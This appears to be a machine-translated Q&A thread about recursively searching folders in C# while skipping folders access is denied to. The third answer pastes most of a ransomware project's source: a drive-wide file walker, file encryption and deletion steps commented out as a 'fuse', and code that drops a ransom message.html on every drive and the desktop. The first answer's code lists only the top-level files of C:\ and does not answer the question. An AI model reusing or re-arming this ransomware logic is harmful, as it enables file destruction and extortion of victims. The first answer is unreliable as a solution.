搜索 c# 中的所有文件夹，不会死在一个我也无权访问的文件夹上

Question

我想在硬盘驱动器中搜索其中包含“StudentPortalNightly”的文件夹 但当我得到的是一个例外，因为我无权访问所有文件夹。

List<string> dirs = Directory.GetDirectories( @"C:\" , "StudentPortalNightly", SearchOption.AllDirectories).ToList();

有没有办法只搜索我有合法访问权限的文件夹？

谢谢

埃里克-

Answer 1

List<string> dirs = new List<string>(Directory.GetFiles(@"C:\").ToList());

Answer 2

只要捕获正确的异常，Try-catch 就会起作用。在这种情况下，您需要捕获 System.UnauthorizedAccessException

Answer 3

我不确定这是否适合你，但我在我的 Github 项目中使用了它并且它有效。对于某些用户来说，由于文件权限错误，它不起作用，但它不会中断执行并继续。这个 cdode 来自我曾经制作的勒索软件项目 。我确定您需要编辑下面的代码的某些部分。

// So this is where a lot of magic is happening, and you dont wanna touch it unless spending 
        // a lot of time in getting it to work again. Since it "kinda works" (like 80%), im not gonna
        // try to fix this as long as a handful of people request it. It was already a pain and im happy
        // it works for now.
        string[] file;
        private void ShowAllFoldersUnder(string path, int indent, string mode = "decrypt")
        {
            try
            {
                if ((File.GetAttributes(path) & FileAttributes.ReparsePoint)
                    != FileAttributes.ReparsePoint)
                {
                    foreach (string folder in Directory.GetDirectories(path))
                    {
                        if (!folder.Contains("System Volume Information"))
                        {
                            try
                            {
                                file = Directory.GetFiles(Path.GetFullPath(folder));
                            }
                            catch (Exception ex) { write(ex.Message); }

                            // This should check the file extension.
                            foreach (string s in file)
                            {
                                // Do whatever u want

                            }
                        }

                        ShowAllFoldersUnder(folder, indent + 2);
                    }
                }
            }
            catch (Exception e) { write(e.Message); Log(e.Message, "ShowAllFolderUnder > General Error"); }
            
        }

        // This will get all the files  and and tries to encrypt it. It works together with "ShowAllFoldersUnder()"
        // to get as many files as possible.
        public void GetFiles(string mode = "encrypt")
        {
            try
            {
                // Encrypt Desktop Files first!
                string[] desktopFiles = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "*.*", SearchOption.AllDirectories);
                foreach(string s in desktopFiles)
                {
                    try
                    {
                        if (!s.Contains(Properties.Settings.Default.extension) && !s.Contains("Sytem Volume Information") && mode != "decrypt")
                        {
                            // FUSE
                            //Task.Run(() => Crypto.FileEncrypt(s, Properties.Settings.Default.key));
                            write("Encrypted " + s);

                            try
                            {
                                // FUSE
                                //File.Delete(s);
                            }
                            catch (Exception ex2)
                            {
                                write("Cant delete file " + ex2.Message);
                                Log(ex2.Message, "GetFiles > File Delete Error");
                            }
                        }
                        else if(mode == "decrypt")
                        {
                            if(s.Contains(Properties.Settings.Default.extension) && !s.Contains("System Volume Information"))
                            {
                                Task.Run(() => Crypto.FileDecrypt(s, s.Replace(Properties.Settings.Default.extension, ""), Properties.Settings.Default.key));
                                write("Decrypted " + s);

                                try
                                {
                                    // Delete original encrypted file?
                                    //File.Delete(s);
                                }
                                catch (Exception ex2)
                                {
                                    write("Cant delete file " + ex2.Message);
                                    Log(ex2.Message, "GetFiles > File Delete Error");
                                }
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        Log(ex.Message, "Getfiles > General Error");
                    }
                }

                // Now Encrypt whole hard drive
                foreach (var drive in DriveInfo.GetDrives())
                {

                    // This will try to create message in eighter plain text file or html file.
                    try
                    {
                        if(Properties.Settings.Default.message.Length > 0)
                        {
                            File.WriteAllText(drive.Name + "\\message.html", Properties.Settings.Default.message);
                            File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\message.html", Properties.Settings.Default.message);

                            write("Created File message.html on drive " + drive.Name + "\\message");
                            Log("File 'message.html' created on drive " + drive.Name + "\\message.html", "GetFiles > Check Message Settings");
                        }
                    }
                    catch (Exception ex)
                    {
                        Log(ex.Message, "GetFiles > Create Message File");
                        write(ex.Message);
                    }


                    try
                    {
                        write("Found drive " + drive.Name);
                        Log("Found drive " + drive.Name, "GetFiles > Drive State Check");

                        try
                        {
                            //  if the drive is ready try to get all the files and files in subfolders using ShowAllFoldersUnder()
                            if (drive.IsReady)
                            {
                                // Get all sub folders etc
                                ShowAllFoldersUnder(drive.Name, 0);
                            }
                            else
                            {
                                Log("Found drive " + drive.Name + " , but it's not ready.", "GetFiles > Drive State Check");
                                write("Found drive " + drive.Name + " , but it's not ready.");
                            }
                        }
                        catch { }
                    }
                    catch (Exception ex1)
                    {
                        write("ex1 " + ex1.Message);
                        Log(ex1.Message, "GetFiles > Drive Error");
                    }
                }
            }
            catch(Exception ex)
            {
                Log(ex.Message, "GetFiles > General Drive Error");
            }

            write("Done getting stuff :)");
        }